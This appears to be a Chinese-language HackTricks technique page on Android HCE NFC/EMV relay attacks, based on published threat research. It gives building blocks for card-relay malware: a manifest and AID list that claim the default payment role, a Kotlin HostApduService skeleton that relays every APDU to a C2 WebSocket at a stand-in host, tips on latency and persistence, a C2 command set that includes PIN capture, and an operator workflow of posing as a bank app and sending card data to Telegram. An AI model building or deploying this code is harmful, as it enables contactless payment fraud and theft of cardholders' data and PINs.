Android HCE NFC/EMV 中继攻击
Reading time: 7 minutes
tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:
HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
概述
滥用 Android Host Card Emulation (HCE) 允许将设置为默认 NFC 支付服务的恶意应用实时中继 EMV 非接触式交易。POS 终端与手机使用 ISO 14443-4/EMV 通信;应用的 HostApduService 接收 APDUs 并通过双向 C2(通常是 WebSocket)转发到后端,后端构造响应后再中继回 POS。这样可以在没有本地卡数据的情况下进行实时卡模拟。在大规模观测到的活动中,攻击者会将应用伪装成银行/政府应用、提示用户设为默认支付应用,并自动将设备/卡数据 exfiltrate 到 Telegram bots/channels。
关键特征
- Android components: HostApduService + default NFC payment handler (category "payment")
- Transport/C2: WebSocket for APDU relay; Telegram bot API for exfil/ops
- Operator workflow: structured commands (login, register_device, apdu_command/apdu_response, get_pin/pin_response, paired, check_status, update_required, telegram_notification, error)
- Roles: scanner (read EMV data) vs tapper (HCE/relay) builds
最小实现构建块
Manifest (become default payment HCE service)
<uses-feature android:name="android.hardware.nfc.hce" android:required="true"/>
<uses-permission android:name="android.permission.NFC"/>
<application ...>
<service
android:name=".EmvRelayService"
android:exported="true"
android:permission="android.permission.BIND_NFC_SERVICE">
<intent-filter>
<action android:name="android.nfc.cardemulation.action.HOST_APDU_SERVICE"/>
</intent-filter>
<meta-data
android:name="android.nfc.cardemulation.host_apdu_service"
android:resource="@xml/aid_list"/>
</service>
</application>
示例 AID 列表,EMV 支付类别(只有设置为默认支付的应用可以响应这些 AID):
<?xml version="1.0" encoding="utf-8"?>
<host-apdu-service xmlns:android="http://schemas.android.com/apk/res/android"
android:description="@string/app_name"
android:requireDeviceUnlock="false">
<aid-group android:category="payment" android:description="@string/app_name">
<!-- PPSE (2PAY.SYS.DDF01) routing -->
<aid-filter android:name="325041592E5359532E4444463031"/>
<!-- Common EMV AIDs (examples): -->
<aid-filter android:name="A0000000031010"/> <!-- VISA credit/debit -->
<aid-filter android:name="A0000000041010"/> <!-- MasterCard -->
<aid-filter android:name="A00000002501"/> <!-- AmEx -->
</aid-group>
</host-apdu-service>
提示用户设置默认支付应用(打开操作系统设置):
val intent = Intent("android.settings.NFC_PAYMENT_SETTINGS")
startActivity(intent)
HostApduService relay 骨架
class EmvRelayService : HostApduService() {
private var ws: okhttp3.WebSocket? = null
override fun onCreate() {
super.onCreate()
// Establish C2 WebSocket early; authenticate and register device
val client = okhttp3.OkHttpClient()
val req = okhttp3.Request.Builder().url("wss://c2.example/ws").build()
ws = client.newWebSocket(req, object : okhttp3.WebSocketListener() {})
}
override fun processCommandApdu(commandApdu: ByteArray?, extras: Bundle?): ByteArray {
// Marshal APDU to C2 and block until response
val id = System.nanoTime()
val msg = mapOf(
"type" to "apdu_command",
"id" to id,
"data" to commandApdu!!.toHex()
)
val response = sendAndAwait(msg) // wait for matching apdu_response{id}
return response.hexToBytes()
}
override fun onDeactivated(reason: Int) {
ws?.send("{\"type\":\"card_removed\"}")
}
private fun sendAndAwait(m: Any): String {
// Implement correlation + timeout; handle error/blocked status
// ...
return "9000" // fall back to SW success if needed
}
}
实用说明:后台服务必须在 POS 超时预算内对每个 APDU 做出响应(约几百毫秒);保持低延迟 socket 并与 C2 进行预认证。根据需要,使用前台服务在进程死亡后保持持久化。
典型 C2 命令集(观察到)
login / login_response
register / register_device / register_response
logout
apdu_command / apdu_response
card_info / clear_card_info / card_removed
get_pin / pin_response
check_status / status_response
paired / unpaired
update_required
telegram_notification / telegram_response
error
EMV 非接触式交换(简介)
POS 驱动流程;HCE 应用仅转发 APDUs:
- SELECT PPSE (2PAY.SYS.DDF01)
- 00 A4 04 00 0E 32 50 41 59 2E 53 59 53 2E 44 44 46 30 31 00
- SELECT application AID (e.g., VISA A0000000031010)
- 00 A4 04 00 len
00 - GET PROCESSING OPTIONS (GPO)
- 80 A8 00 00 Lc
00 - READ RECORD(S) per AFL
- 00 B2 <SFI/record> 0C 00
- GENERATE AC (ARQC/TC)
- 80 AE 80 00 Lc
00
在 relay 中,后端构造有效的 FCI/FCP、AFL、记录和 cryptogram;手机仅负责转发字节。
在真实环境中观察到的运营者工作流
- 欺骗安装:应用伪装成银行/政府门户,展示全屏 WebView 并立即请求成为默认的 NFC 支付应用。
- 事件触发激活:NFC 触碰唤醒 HostApduService;relay 开始。
- Scanner/Tapper 角色:一个构建从受害者卡读取 EMV 数据(PAN、exp、tracks、device/EMV 字段)并 exfiltrates;另一个构建(或同一设备稍后)对 POS 执行 HCE relay。
- Exfiltration:设备/卡 数据会被自动发布到私有 Telegram 频道/机器人;WebSocket 协调会话和 UI 提示(例如设备上的 PIN UI)。
References
- Zimperium – Tap-and-Steal: The Rise of NFC Relay Malware on Mobile Devices
- Android HostApduService
- Android HCE and Card Emulation docs
- Zimperium IOCs – 2025-10-NFCStealer
tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:
HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
HackTricks